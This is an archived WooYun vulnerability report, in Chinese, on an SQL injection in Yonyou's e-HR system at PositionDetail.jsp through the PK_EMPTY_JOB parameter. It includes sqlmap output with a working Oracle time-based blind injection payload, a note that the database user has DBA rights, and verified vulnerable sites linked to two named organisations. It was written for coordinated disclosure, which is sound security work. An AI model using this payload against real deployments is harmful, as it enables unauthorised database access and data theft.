用友人力资源管理（e-HR）SQL注入漏洞

admin
admin
admin
139646
文章
114
评论
2015年4月24日13:29:06评论397 views字数 210阅读0分42秒阅读模式
摘要

2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-10： 厂商已经确认，细节仅向厂商公开
2014-07-13： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-03： 细节向核心白帽子及相关领域专家公开
2014-09-13： 细节向普通白帽子公开
2014-09-23： 细节向实习白帽子公开
2014-10-07： 细节向公众公开

漏洞概要 关注数(10) 关注此漏洞

缺陷编号： WooYun-2014-67917

漏洞标题： 用友人力资源管理（e-HR）SQL注入漏洞 用友人力资源管理（e-HR）SQL注入漏洞

相关厂商： 用友软件

漏洞作者： loli用友人力资源管理（e-HR）SQL注入漏洞

提交时间： 2014-07-09 21:27

公开时间： 2014-10-07 21:28

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入漏洞

5人收藏

漏洞详情

披露状态：

2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-10： 厂商已经确认，细节仅向厂商公开
2014-07-13： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-03： 细节向核心白帽子及相关领域专家公开
2014-09-13： 细节向普通白帽子公开
2014-09-23： 细节向实习白帽子公开
2014-10-07： 细节向公众公开

简要描述：

-----------------------------------
说点啥

详细说明：

用友人力资源管理（e-HR）SQL注入漏洞

用友人力资源管理（e-HR）SQL注入漏洞

code 区域 
/hrss/rm/PositionDetail.jsp文件中PK_EMPTY_JOB参数存在SQL注入漏洞
code 区域 
直接丢SQLMAP里跑：
 **.**.**.**/hrss/rm/PositionDetail.jsp?PK_EMPTY_JOB=1001A11000000000G9WA&
 
 GET parameter 'PK_EMPTY_JOB' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
 sqlmap identified the following injection points with a total of 114 HTTP(s) requests:
 ---
 Place: GET
 Parameter: PK_EMPTY_JOB
     Type: AND/OR time-based blind
     Title: Oracle AND time-based blind
     Payload: PK_EMPTY_JOB=1001A11000000000G9WA') AND 3750=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(119)||CHR(83)||CHR(84),5) AND ('nlJx'='nlJx&
 ---
 [16:32:22] [INFO] the back-end DBMS is Oracle
 web application technology: JSP
 back-end DBMS: Oracle
 [16:32:22] [INFO] fetched data logged to text files under '/Users/loli/sqlmap/output/**.**.**.**'
code 区域 
current user is DBA:    True

用友人力资源管理（e-HR）SQL注入漏洞

漏洞证明：

给点URL（已验证）：

code 区域 
**.**.**.**:8090/hrss/rm/PositionDetail.jsp?PK_EMPTY_JOB=1001A11000000000G9WA&       中冶集团武汉勘察研究院有限公司
 
 **.**.**.**:4001/hrss/rm/PositionDetail.jsp?PK_EMPTY_JOB=1001V110000000000O0W&       福建省石油化学工业设计院

修复方案：

麻烦厂商验证下这个版本的把。。

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-07-10 10:56

厂商回复：

非常感谢！这漏洞需要压后公开

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin